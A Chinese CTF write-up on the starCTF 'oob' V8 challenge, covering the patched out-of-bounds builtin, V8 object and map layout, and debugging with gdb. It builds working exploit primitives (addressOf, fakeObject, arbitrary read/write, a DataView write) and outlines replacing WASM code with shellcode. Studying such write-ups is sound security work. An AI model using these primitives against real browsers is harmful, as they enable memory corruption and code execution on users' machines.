前言
学习浏览器，从v8入手，这道题有比较详细的资料，作为入门题非常有优势。
环境搭建
基础v8的环境搭建
使用的环境：ubuntu 18.04
v8环境搭建：https://warm-winter.github.io/2020/10/11/v8%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/
解题的搭建
一般浏览器的出题有两种
- 一种是diff修改v8引擎源代码，人为制造出一个漏洞，
- 另一种是直接采用某个cve漏洞。一般在大型比赛中会直接采用第二种方式，更考验选手的实战能力。
出题者通常会提供一个diff文件，或直接给出一个编译过diff补丁后的浏览器程序。如果只给了一个diff文件，就需要我们自己去下载相关的commit源码，然后本地打上diff补丁，编译出浏览器程序，再进行本地调试。
比如starctf中的oob题目给出了一个diff文件：
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
[...]
以上截取了第一部分，是对/path/v8/src/bootstrapper.cc做了修改。
在/path/v8下执行以下的命令，将diff文件加入到v8中源代码分支中：
git apply /path/oob.diff
我们找到bootstrapper.cc文件，搜索SimpleInstallFunction(isolate_, proto, "fill",，发现下面已经将oob函数加入进去，patch成功。
最后编译出增加了diff补丁的v8程序调试即可。
环境问题
正常来说，debug版本和release版本都能使用，但是调试这道题的时候，碰到了如下的问题：
release版本正常运行
debug版本报错
e3pem师傅的博客是这样解释的：
了解到是DCHECK宏的问题，然而对宏修改或是注释之后发现编译出来的d8执行还是会出现问题(这个时候已经开始怀疑人生了)。后来仔细的观察了一下师傅们写的文章，发现里面调试oob的时候都是用的release版本，之前也试过release版本的d8确实不会出现问题，所以很可能debug版本的d8就是不行，而别人文章里面出现的debug版本的d8的目的就是为了了解v8的数据是怎么存储的。所以这里正确的用法应该是用release版本进行调试，用debug版本来辅助分析。
v8的基础知识
v8编译后二进制名称叫d8而不是v8。
调试
1.allow-natives-syntax选项
功能：定义了一些v8运行时支持函数，主要有以下两个：
%DebugPrint(obj) 输出对象地址
%SystemBreak() 触发调试中断主要结合gdb等调试器使用
使用：
//方法一
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ ./d8 --allow-natives-syntax
//方法二
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8
[...]
pwndbg> set args --allow-natives-syntax test.js
2.job命令
功能：可视化显示JavaScript对象的内存结构.
gdb下使用：job 对象地址
显示如下，具体v8的内存结构，稍后“v8对象结构”里进一步解释。
pwndbg> job 0x4f9d210dd59
0x4f9d210dd59: [JSArray]
- map: 0x257bfd042d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x355e47bd1111 <JSArray[0]>
- elements: 0x04f9d210dce9 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x26cfa9fc0c71 <FixedArray[0]> {
#length: 0x1da9ebe001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x04f9d210dce9 <FixedArray[3]> {
0: 1
1: 2
2: 3
}
3.telescope
功能：查看一下内存数据
使用：telescope 查看地址 （长度）
（）表示里面的可以没有
v8知识点
指针标记
v8使用指针标记机制来区分指针，双精度数和Smis（代表）immediate small integer。
Double: Shown as the 64-bit binary representation without any changes
Smi: Represented as value << 32, i.e 0xdeadbeef is represented as 0xdeadbeef00000000
Pointers: Represented as addr & 1. 0x2233ad9c2ed8 is represented as 0x2233ad9c2ed9
所以，v8中，如果一个值表示的是指针，那么会将该值的最低bit设置为1，但其实真实的值需要减去1。
job直接给对象地址就行，telescope的时候，需要给真实值，需要-1。
v8对象结构
在/path/v8/out.gn/x64.debug下创建一个test.js
var a = [1,2,3];
%DebugPrint(a);
%SystemBreak()
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8
[...]
Reading symbols from ./d8...done.
pwndbg> set args --allow-natives-syntax test.js
pwndbg> r
[...]
DebugPrint: 0x31c7fffcdd59: [JSArray]
[...]
pwndbg> job 0x31c7fffcdd59
0x31c7fffcdd59: [JSArray]
- map: 0x315768442d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3f6dffcd1111 <JSArray[0]>
- elements: 0x31c7fffcdce9 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x176329f00c71 <FixedArray[0]> {
#length: 0x3ae23f8001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x31c7fffcdce9 <FixedArray[3]> {
0: 1
1: 2
2: 3
}
pwndbg> job 0x31c7fffcdce9
0x31c7fffcdce9: [FixedArray]
- map: 0x176329f00851 <Map>
- length: 3
0: 1
1: 2
2: 3
所以，一个对象有如下属性：
- map：定义了如何访问对象
- prototype：对象的原型（如果有）
- elements：对象的地址
- length：长度
- properties：属性，存有map和length
分析：
对象里存储的数据是在elements指向的内存区域的，而且是在对象的上面。也就是说，在内存申请上，v8先申请了一块内存存储元素内容，然后申请了一块内存存储这个数组的对象结构，对象中的elements指向了存储元素内容的内存地址。
map属性详解
因为稍后需要用到，，所以放在这里讲一下
pwndbg> job 0x176329f00801
0x176329f00801: [Map]
- type: FIXED_ARRAY_TYPE
- instance size: variable
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x176329f004d1 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x176329f00259 <DescriptorArray[0]>
- layout descriptor: (nil)
- prototype: 0x176329f001d9 <null>
- constructor: 0x176329f001d9 <null>
- dependent code: 0x176329f002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
对象的map（数组是对象）是一种数据结构，其中包含以下信息：
- 对象的动态类型，即String，Uint8Array，HeapNumber等。
- 对象的大小（以字节为单位）
- 对象的属性及其存储位置
- 数组元素的类型，例如，unboxed的双精度数或带标记的指针
- 对象的原型（如果有）
属性名称通常存储在Map中，而属性值则存储在对象本身中几个可能区域之一中。然后，map将提供属性值在相应区域中的确切位置。
本质上，映射定义了应如何访问对象。
重点
- 对于对象数组：存储的是每个对象的地址
- 对于浮点数组：以浮点数形式存储数值
所以，如果将对象数组的map换成浮点数组 => 就变成了浮点数组，会以浮点数的形式存储对象的地址；如果将对浮点组的map换成对象数组 => 就变成了对象数组，打印浮点数存储的地址。这实际上就是类型混淆的内容。
对象和对象数组
有时候想着想着有点乱，调试一下。
一个浮点数组、整数数组和一个对象数组。
var a = [1.1,2.2,3.3];
%DebugPrint(a);
%SystemBreak();
var b = [1,2,3];
%DebugPrint(b);
%SystemBreak();
var obj_array = [a,b];
%DebugPrint(obj_array);
%SystemBreak();
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8
[...]
pwndbg> set args --allow-natives-syntax test.js
pwndbg> r
[...]
//浮点数组
DebugPrint: 0x23ddebc4de71: [JSArray]
- map: 0x13e6d5782ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x1bb893151111 <JSArray[0]>
- elements: 0x23ddebc4de49 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x1574a0580c71 <FixedArray[0]> {
#length: 0x19fc51e401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x23ddebc4de49 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
[...]
pwndbg> c
Continuing.
//整型数组
DebugPrint: 0x23ddebc4de91: [JSArray]
- map: 0x13e6d5782d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x1bb893151111 <JSArray[0]>
- elements: 0x23ddebc4ddb9 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x1574a0580c71 <FixedArray[0]> {
#length: 0x19fc51e401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x23ddebc4ddb9 <FixedArray[3]> {
0: 1
1: 2
2: 3
}
[...]
pwndbg> c
Continuing.
//对象数组
DebugPrint: 0x23ddebc4ded1: [JSArray]
- map: 0x13e6d5782f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x1bb893151111 <JSArray[0]>
- elements: 0x23ddebc4deb1 <FixedArray[2]> [PACKED_ELEMENTS]
- length: 2
- properties: 0x1574a0580c71 <FixedArray[0]> {
#length: 0x19fc51e401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x23ddebc4deb1 <FixedArray[2]> {
0: 0x23ddebc4de71 <JSArray[3]>//存储的是浮点数组的地址
1: 0x23ddebc4de91 <JSArray[3]>//存储的是整型数组的地址
}
也就是说，对象数组里面，存储的是别的对象的地址，这里存储的是浮点数组和整型数组的地址
漏洞分析
分析给定文件中的oob.diff,左边行开头的地方，表示diff文件增加的内容
该diff文件实际就是增加了一个oob函数。主要分为三部分：定义、实现和关联。
定义
为数组添加名为oob的内置函数（就是别人调用的话），内部调用的函数名是kArrayOob（实现oob的函数）
src/bootstrapper.cc
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
实现
- 函数将首先检查参数的数量是否大于2（第一个参数始终是
this参数）。如果是，则返回undefined。- 如果只有一个参数（
this），它将数组转换成FixedDoubleArray，然后返回array[length]（也就是以浮点数形式返回array[length]）- 如果有两个参数（
this和value），它以float形式将value写入array[length]。
src/builtins/builtins-array.cc
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
重点
漏洞就出在这个函数里面
- 如果给一个参数，返回了array[length]
- 如果给两个参数，将给定的参数写入array[length]
很显然array[length]这里冒了，访问到了数组后面的内存区域。调试看一下后面这个内存存储什么信息。
使用debug版本
//test.js
var a = [1.1,2.2,3.3];
%DebugPrint(a);
%SystemBreak();
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8
[...]
pwndbg> set args --allow-natives-syntax test.js
pwndbg> r
[...]
DebugPrint: 0x71b3a0cde29: [JSArray]
- map: 0x288120f02ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x3086d0311111 <JSArray[0]>
- elements: 0x071b3a0cde01 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x109193c80c71 <FixedArray[0]> {
#length: 0x2f6f5d1801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x071b3a0cde01 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
0x288120f02ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x288120f02e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x2f6f5d180609 <Cell value= 1>
- instance descriptors #1: 0x3086d0311f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x3086d0311eb9 <TransitionArray[4]>Transition array #1:
0x109193c84ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x288120f02f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x3086d0311111 <JSArray[0]>
- constructor: 0x3086d0310ec1 <JSFunction Array (sfi = 0x2f6f5d18aca1)>
- dependent code: 0x109193c802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[...]
//查看elements的内存地址
pwndbg> telescope 0x071b3a0cde01-1
00:0000│ 0x71b3a0cde00 —▸ 0x109193c814f9 ◂— 0x109193c801
01:0008│ 0x71b3a0cde08 ◂— 0x300000000
02:0010│ 0x71b3a0cde10 ◂— 0x3ff199999999999a
03:0018│ 0x71b3a0cde18 ◂— 0x400199999999999a
04:0020│ 0x71b3a0cde20 ◂— 0x400a666666666666 ('ffffff\n@')
05:0028│ 0x71b3a0cde28 —▸ 0x288120f02ed9 ◂— 0x40000109193c801
06:0030│ 0x71b3a0cde30 —▸ 0x109193c80c71 ◂— 0x109193c808
07:0038│ 0x71b3a0cde38 —▸ 0x71b3a0cde01 ◂— 0x109193c814
//element+10开始的地方，存储的是数据
pwndbg> p {double } 0x71b3a0cde10
$1 = 1.1000000000000001
pwndbg> p {double } 0x71b3a0cde18
$2 = 2.2000000000000002
pwndbg> p {double } 0x71b3a0cde20
$3 = 3.2999999999999998
//查看冒出来地址里存储的数据，发现存储的是map
pwndbg> job 0x288120f02ed9
0x288120f02ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x288120f02e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x2f6f5d180609 <Cell value= 1>
- instance descriptors #1: 0x3086d0311f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x3086d0311eb9 <TransitionArray[4]>Transition array #1:
0x109193c84ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x288120f02f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x3086d0311111 <JSArray[0]>
- constructor: 0x3086d0310ec1 <JSFunction Array (sfi = 0x2f6f5d18aca1)>
- dependent code: 0x109193c802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
综上，我们得到的是读写map和修改map的功能
我们在release版本下实际调试
var a = [1.1,2.2,3.3];
%DebugPrint(a);
%SystemBreak();
var data = a.oob();
console.log("[*] oob return data:" + data.toString());
%SystemBreak();
a.oob(2);
%SystemBreak();
winter@ubuntu:~/v8/v8/out.gn/x64.release$ gdb ./d8
[...]
pwndbg> set args --allow-natives-syntax test.js
pwndbg> r
[...]
0x2c5f52b0de29 <JSArray[3]>
//打印对象内存地址
pwndbg> telescope 0x2c5f52b0de29-1
00:0000│ 0x2c5f52b0de28 —▸ 0x344502282ed9 ◂— 0x400003ee9994c01 <= 对象的map nmap
01:0008│ 0x2c5f52b0de30 —▸ 0x3ee9994c0c71 ◂— 0x3ee9994c08 <= prototype
02:0010│ 0x2c5f52b0de38 —▸ 0x2c5f52b0de01 ◂— 0x3ee9994c14 <= element
03:0018│ 0x2c5f52b0de40 ◂— 0x300000000 <= length
04:0020│ 0x2c5f52b0de48 ◂— 0x0
//打印element内存地址
pwndbg> telescope 0x2c5f52b0de01-1
00:0000│ 0x2c5f52b0de00 —▸ 0x3ee9994c14f9 ◂— 0x3ee9994c01
01:0008│ 0x2c5f52b0de08 ◂— 0x300000000 <= length
02:0010│ 0x2c5f52b0de10 ◂— 0x3ff199999999999a <= 第一个值
03:0018│ 0x2c5f52b0de18 ◂— 0x400199999999999a <= 第二个值
04:0020│ 0x2c5f52b0de20 ◂— 0x400a666666666666 ('ffffff\n@') <= 第二个值
05:0028│ 0x2c5f52b0de28 —▸ 0x344502282ed9 ◂— 0x400003ee9994c01 <=对象的map
06:0030│ 0x2c5f52b0de30 —▸ 0x3ee9994c0c71 ◂— 0x3ee9994c08
07:0038│ 0x2c5f52b0de38 —▸ 0x2c5f52b0de01 ◂— 0x3ee9994c14
pwndbg> p {double } 0x71b3a0cde10
$1 = 1.1000000000000001
pwndbg> p {double } 0x71b3a0cde18
$2 = 2.2000000000000002
pwndbg> p {double } 0x71b3a0cde20
$3 = 3.2999999999999998
pwndbg> c
Continuing.
[*] oob return data:2.8394443558087e-310//和泄漏出来的一样
pwndbg> p {double } 0x2c5f52b0de28
$2 = 2.8394443558087202e-310
pwndbg> c
Continuing.
pwndbg> telescope 0x2c5f52b0de01-1
00:0000│ 0x2c5f52b0de00 —▸ 0x3ee9994c14f9 ◂— 0x3ee9994c01
01:0008│ 0x2c5f52b0de08 ◂— 0x300000000
02:0010│ 0x2c5f52b0de10 ◂— 0x3ff199999999999a
03:0018│ 0x2c5f52b0de18 ◂— 0x400199999999999a
04:0020│ 0x2c5f52b0de20 ◂— 'ffffff\n@'
05:0028│ 0x2c5f52b0de28 ◂— 0x4000000000000000
06:0030│ 0x2c5f52b0de30 —▸ 0x3ee9994c0c71 ◂— 0x3ee9994c08
07:0038│ 0x2c5f52b0de38 —▸ 0x2c5f52b0de01 ◂— 0x3ee9994c14
pwndbg> p {double } 0x2c5f52b0de28
$3 = 2//被覆盖了
关联
为kArrayOob类型做了与实现函数的关联：
src/builtins/builtins-definitions.h
+ CPP(ArrayOob) \
/src/compiler/typer.cc
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
漏洞利用
类型混淆
由于v8完全依赖Map类型对js对象进行解析。
所以，我们通过修改对象的map，将对象数组的map设置为浮点数组的map，就能让v8解析原来的对象数组的时候，解析成为浮点数组，反之同理。由于两种数组内部存储的不同，可以实现一些小功能。
- 对象数组存储的是每个对象的地址，也就是对象数组存的是地址。
- 浮点数组存储的是浮点型是的数值。
addressOf
泄露某个对象的内存地址，日后可以实现任意地址读的功能。
因为对象数组存储的是地址，但是如果v8解析是对象数组的话，肯定就不会输出这个地址，而是找到这个对象再操作。但是，如果，让v8误以为这是一个浮点数组，那么，v8就把把这个地址当作是浮点数，以浮点数的形式将对象数组里面存储的对象地址输出了。
所以，步骤如下：
1.拿到要泄漏的地址
2.把这个地址，覆盖已经创建好的对象数组第一个元素obj_array[0]（让地址成为对象数组的一员）
3.将对象数组的map替换为浮点数组的map
4.输出数组的第一个元素，此时，就会按照浮点形式，将地址里的内容输出出来。
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
fakeObject
将指定内存地址强制转换为一个js对象，日后可以实现任意地址写的功能。
现在，有了地址，地址是一个整数，整数可以直接变成以浮点数表示，但是不能变成对象，所以还是需要混淆。
步骤：
1.拿到地址，转换为浮点数表示。
2.放入浮点数组第一个位置中。
3.将浮点数组的map替换为对象数组的map
4.数组的第一个位置上，内存地址就已经变成一个js对象了。
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
辅助的工具函数
浮点数转整数、整数转浮点数、字节串表示整数
实现方法：开辟一块空间，创建两个数组，分别是浮点数组float64和整数数组bigUint64，他们公用创造的那块空间。
这样，根据原来的形式放入对应的数组，用转换的数组输出即可。
例如：f2i()，要将浮点数转换为整数，只要将浮点数放入浮点数组，然后用整数数组输出，因为空间是一个，所以，输入输出的是同一个值，但由于数组的属性不同，会按数组的属性进行解释，进来的时候是浮点数，比如存入了0001H单元，然后输出的时候，还会读这个0001H单元，但是这个时候，用的是整数数组，所以会把它以整数的格式输出。
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
整合在一起调试：
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
// ××××××××3. 测试××××××××
var test_obj = {};
%DebugPrint(test_obj);
var test_obj_addr = addressOf(test_obj);
console.log("[*] leak object addr: 0x" + hex(test_obj_addr));
%SystemBreak();
pwndbg> r
[...]
0x189f4fdcf201 <Object map = 0x2ded805c0459>
[*] leak object addr: 0x0000189f4fdcf200
成功泄漏对象的地址。同样，利用fakeObject可以将某个内存地址转换为一个object对象。
任意地址读写
我们首先构造一个假的数组对象，我们可以用fakeObject将其转换为一个object对象。因为自己构造的elements指针是可控的，而这个指针是指向存储数组元素内容的内存地址。所以，只要在elements上放入我们想要读写的地址，就可以用对象进行读写操作了。
步骤：
1.利用可控内存，伪造自己的对象结构。
2.将自己伪造的对象结构转换为真的对象。
我们伪造的是一个对象在内存中的表示，只有这样，elements才是我们自己可以填的。通过addressOf找到是，伪造的对象数组在内存中的地址，也就是他的对象结构开头，真实存储的内容在泄漏的地址-伪造的长度（6×0x8），然后我们要让v8认为真实存储的内容是一个对象，所以对泄漏的地址-伪造的长度（6×0x8）做fakeObject，那么，我们构造的这个数组，就真的成为了一个对象在内存的表示。
3.任意地址读。给定的地址是要读的地址，elements在读写的数据-0x10。把这个伪造的elements给伪造的内存，然后利用上述第二步，变成一个对象（fake_object是用fake_array出来的），读取对象的元素，就是地址的内容了。
4.任意地址写也是一样。把地址变成一个对象，那么要写入的地址就是我们对象的数据了。
// read & write anywhere
// 这是一块我们可以控制的内存
var fake_array = [ //伪造一个对象
float_array_map,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];
// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x30;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
return leak_data;
}
// 任意地址写
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
}
整合测试一下：
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
// ××××××××3.read & write anywhere××××××××
// 这是一块我们可以控制的内存
var fake_array = [ //伪造一个对象
float_array_map,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];
// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x30n;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
return leak_data;
}
// 任意地址写
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
}
// ××××××××4. 测试××××××××
var a = [1.1,2.2,3.3];
var address = addressOf(a);
var read = read64(address);
console.log("[*]read 0x"+hex(address)+":0x"+hex(read));
%DebugPrint(a);
%SystemBreak();
write64(address,0x01020304n);
%SystemBreak();
创建一个对象，找到他的地址。
读取对象地址存储的内容，然后改写对象地址存储的内容。
pwndbg> r
[...]
[*]read 0x000031f15738fa50:0x0000369d9e942ed9//读取出来对象地址存的数据是0x0000369d9e942ed9
0x31f15738fa51 <JSArray[3]>
//查看对象地址的内存，发现和读取出来的一样
pwndbg> telescope 0x000031f15738fa50
00:0000│ 0x31f15738fa50 —▸ 0x369d9e942ed9 ◂— 0x400002d1469d401 <=对象地址，存储的内容被读取
01:0008│ 0x31f15738fa58 —▸ 0x2d1469d40c71 ◂— 0x2d1469d408
02:0010│ 0x31f15738fa60 —▸ 0x31f15738fa29 ◂— 0x2d1469d414
pwndbg> c
Continuing.
pwndbg> telescope 0x000031f15738fa50
00:0000│ 0x31f15738fa50 ◂— 0x1020304 <=对象地址，存储的内容被改写
01:0008│ 0x31f15738fa58 —▸ 0x2d1469d40c71 ◂— 0x2d1469d408
02:0010│ 0x31f15738fa60 —▸ 0x31f15738fa29 ◂— 0x2d1469d414
成功！！
任意写改进
问题：通过上面的方式任意地址写，在写0x7fxxxx这样的高地址的时候会出现问题，地址的低位会被修改，导致出现访问异常。
解决：DataView对象中的backing_store会指向申请的data_buf（backing_store相当于我们的elements），修改backing_store为我们想要写的地址，并通过DataView对象的setBigUint64方法就可以往指定地址正常写入数据了。
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){
write64(buf_backing_store_addr, addr);
data_view.setBigUint64(0, data, true);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
浏览器运行shellcode：wasm
wasm是让JavaScript直接执行高级语言生成的机器码的一种技术。
使用：网站https://wasdk.github.io/WasmFiddle/：在线将C语言直接转换为wasm并生成JS配套调用代码。（左下角选择Code Buffer，然后点击最上方的Build按钮，左下角生成了我们需要的wasm代码。）
问题：wasm中只能运行数学计算、图像处理等系统无关的高级语言代码。所以不能直接在wasm中写入我们的shellcode，然后浏览器调用执行。
方案：结合漏洞将原本内存中的的wasm代码替换为shellcode，当后续调用wasm的接口时，实际上调用的就是我们的shellcode了。
步骤：
1.首先加载一段wasm代码到内存中
2.然后通过addressOf找到存放wasm的内存地址
3.接着通过任意地址写原语用shellcode替换原本wasm的代码内容
4.最后调用wasm的函数接口即可触发调用shellcode
寻找存放wasm代码的内存页地址
通过Function—>shared_info—>WasmExportedFunctionData—>instance，在instance+0x88的固定偏移处，就能读取到存储wasm代码的内存页起始地址。
//test.js，用debug版本调试
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%SystemBreak();
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8
[...]
pwndbg> set args --allow-natives-syntax test.js
pwndbg> r
[...]
DebugPrint: 0x2c708e5dfab9: [Function] in OldSpace
- map: 0x07f1e5ac4379 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2c708e5c2109 <JSFunction (sfi = 0x84e79c8039)>
- elements: 0x1c0c1f4c0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
